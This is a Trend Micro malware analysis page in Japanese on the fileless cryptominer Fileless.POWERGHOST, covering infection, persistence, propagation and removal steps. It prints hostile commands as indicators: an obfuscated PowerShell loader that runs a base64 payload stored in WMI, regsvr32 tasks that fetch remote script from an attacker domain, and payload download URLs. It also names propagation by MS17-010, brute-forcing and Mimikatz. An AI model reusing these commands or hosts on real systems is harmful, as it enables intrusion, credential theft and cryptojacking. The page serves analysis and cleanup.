Trend Micro Security

Fileless.POWERGHOST

2020年2月13日
 解析者: Warren Adam Sto. Tomas   

 脅威タイプ:

ファイルを利用しないマルウェア

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 システムへの影響:
 情報漏えい:


  • マルウェアタイプ: トロイの木馬型
  • 破壊活動の有無: なし
  • 暗号化:  
  • 感染報告の有無: はい

  概要

感染経路 ソフトウェアの脆弱性を利用した感染活動

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。

マルウェアは、特定の脆弱性を利用した感染活動を実行します。


  詳細

ペイロード URLまたはIPアドレスに接続, プロセスの強制終了, ファイルのダウンロード, 情報収集

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

  • powershell -NoP -NonI -W Hidden `"`$mon = ([WmiClass] 'root\default:Window_Core_Flush_Cach').Properties['mon'].Value;`$funs = ([WmiClass] 'root\default:Window_Core_Flush_Cach').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$funs)));Invoke-Command -ScriptBlock `$RemoteScriptBlock -ArgumentList @(`$mon, `$mon, 'Void', 0, '', '')`

自動実行方法

マルウェアは、以下のサービスを開始します。

  • RpcSs
  • RpcLocator
  • RemoteRegistry
  • RpcEptMapper
  • Winmgmt
  • WinRM

感染活動

マルウェアは、以下のソフトウェアに存在する脆弱性を利用して、ネットワーク上で感染活動をします。

プロセスの終了

マルウェアは、感染コンピュータ上で以下のプロセスが常駐されていることを確認した場合、そのプロセスを終了します。

  • Powershell processes with an established TCP connection via port 80, or 14444
  • Any processes with established connection to ports 3333, 5555, or 7777

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

  • http://{BLOCKED}.{BLOCKED}.43.54:443/v9/windowsupdate/redir/muv4wuredir.cab?148619742
  • http://{URL}/vercheck.ps1
  • http://{URL}/w/cohernece.txt
  • http://{URL}/w/logos.png
  • http://{URL}/w/ver.txt
  • http://{URL}/w/antivirus.ps1
  • http://{URL}/shell (for Unix platforms)
    where {URL} can be any of the following:
    • owa.{BLOCKED}g.com
    • box.{BLOCKED}g.com

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

  • %User Temp%\{random characters}.exe → TrojanSpy.Win32.BLUTEAL.D
  • %User Temp%\java-log-9527.log → contains shellcode
  • /tmp/coreupdtes (for Unix platforms) → contains script to download and execute a cryptominer

情報漏えい

マルウェアは、以下の情報を収集します。

  • User Credentials
  • OS Version
  • Computer Name
  • Domain Name

その他

マルウェアは、以下を実行します。

  • It creates IPSec Firewall Policy
    • Name: netbc
    • Function: Blocks tcp connections to infected machine via port 445 (SMB)
  • It is capable of propagating in the local network via the following means:
    • SMB Exploit (MS17-010)
    • MSSQL and SSH Brute-Forcing
    • Dumping Windows Domain Credentials using any of the following techniques/tools
      • Mimikatz
      • Pass-The-Hash
  • It creates the following WMI Class under ROOT\default:
    • Window_Core_Flush_Cach
      • WMI objects:
        • mimi - Mimikatz scripts
        • mon - Monero cryptominer
        • funs - Powershell Empire modules used for propagation or lateral movement
        • ipsu - List of IP addresses vulnerable for propagation
        • i17 - List of IP addresses vulnerable for SMB exploit
        • ver - PowerGhost version
        • sc - Shellcode
  • It creates the following WMI Classes under ROOT\subscription to achieve persistence in the system:
    • CommandLineEventConsumer
      • Name: Systems Manage Consumer
      • Command: powershell.exe -NoP -NonI -W Hidden -E {base64 encoded command}
    • __EventFilter
      • Name: Systems Manage Filter
    • __FilterToConsumerBinding
  • It modifies power configuration settings using the following commands:
    • powercfg /CHANGE -standby-timeout-ac 0 (Standby timeout set to 0 minutes)
    • powercfg /CHANGE -hibernate-timeout-ac 0 (Hibernate timeout set to 0 minutes)
    • powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000 (Power buttons and lid close action set to do nothing)

マルウェアは、以下の脆弱性を利用して感染活動を実行します。

以下のスケジュールされたタスクを追加します:

  • Take name: SystemFlushDns
    Schedule: Every 24 hours
    Task to be run: regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll
  • Task name: Microsoft Assist Job
    Schedule: Every 20 minutes
    Task to be run: regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll
    where {URL} can be any of the following:
    • owa.conf1g.com
    • box.conf1g.com


  対応方法

対応検索エンジン: 9.850

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 4

スケジュールされたタスクを削除する

タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。  

  • SystemFlushDns - “regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll”
  • Microsoft Assist Job - “regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll”

Windows 2000、Windows XP、Windows Server 2003の場合:

  1. [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
  2. 上記の{タスク名} を、[名前]の欄に入力します。
  3. 入力した{タスク名} 持つファイルを右クリックします。
  4. [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
  5. 上記の{実行するタスク}と文字列が一致するタスクを削除します。

Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合:

  1. Windowsタスクスケジューラを開きます。
    • Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
    • Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。
  2. 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
  3. 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
  4. 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
  5. 文字列が一致するタスクを削除します。

手順 5

コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「Fileless.POWERGHOST」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

手順 6

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Fileless.POWERGHOST」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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